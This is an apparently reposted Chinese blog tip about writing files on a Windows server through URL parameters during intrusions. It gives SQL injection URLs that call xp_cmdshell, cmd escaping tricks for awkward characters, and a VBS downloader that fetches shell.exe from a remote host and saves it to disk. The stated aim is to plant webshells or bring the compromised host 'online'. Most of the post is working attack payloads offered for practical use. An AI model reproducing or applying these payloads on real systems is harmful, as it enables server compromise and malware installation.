小技巧——在url中传参写文件

栏目: IT技术 · 发布时间: 5年前

内容简介:实战中,会遇到只能用url传递参数拿shell的情况。比如在xp_cmeshell下写入asp/aspx webshell,又或者写入vbs脚本来下载exe使主机上线。写文件地址:这里用追加的方式写文件,data是我们要写入的数据。

实战中,会遇到只能用url传递参数拿 shell 的情况。比如在xp_cmeshell下写入asp/aspx webshell,又或者写入vbs脚本来下载exe使主机上线。

写文件地址:

http://192.168.154.130/sql.asp?name=admin';exec xp_cmdshell 'echo data >> C:\out.txt';--

这里用追加的方式写文件,data是我们要写入的数据。

下载远程文件的vbs代码

Set post=CreateObject("Msxml2.XMLHTTP")
post.Open "GET","http://x.x.x.x/shell.exe"
post.Send()
Set aGet = CreateObject("ADODB.Stream")
aGet.Mode = 3
aGet.Type = 1
aGet.Open()
wscript.sleep 3000 
aGet.Write(post.responseBody)
aGet.SaveToFile "shell.exe",2

在这个脚本中,有这些特殊符号:/=(“),.

经过测试,能够正常写入的有:

/
.
,
()
成对的"
xx=字符开头字符串

对于单个的双引号,需要进行转义。Windows cmd下的转义字符是^。写入单引号需要这样转换一下:

http://192.168.154.130/sql.asp?name=admin';exec xp_cmdshell 'echo ^" >> C:\out.txt';--

对于写入aGet.Mode = 3这样的数据,需要分两次写入,而且不能换行:

http://192.168.154.130/sql.asp?name=admin';exec xp_cmdshell 'set /p="aGet.Mod" >> C:\out.txt';--
http://192.168.154.130/sql.asp?name=admin';exec xp_cmdshell 'set /p="e = 3" >> C:\out.txt';--

这样两段字符串就写在了一行。


以上所述就是小编给大家介绍的《小技巧——在url中传参写文件》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

We Are the Nerds

We Are the Nerds

Christine Lagorio-Chafkin / Hachette Books / 2018-10-2 / USD 18.30

Reddit hails itself as "the front page of the Internet." It's the third most-visited website in the United States--and yet, millions of Americans have no idea what it is. We Are the Nerds is an eng......一起来看看 《We Are the Nerds》 这本书的介绍吧!

XML、JSON 在线转换
XML、JSON 在线转换

在线XML、JSON转换工具

XML 在线格式化
XML 在线格式化

在线 XML 格式化压缩工具

html转js在线工具
html转js在线工具

html转js在线工具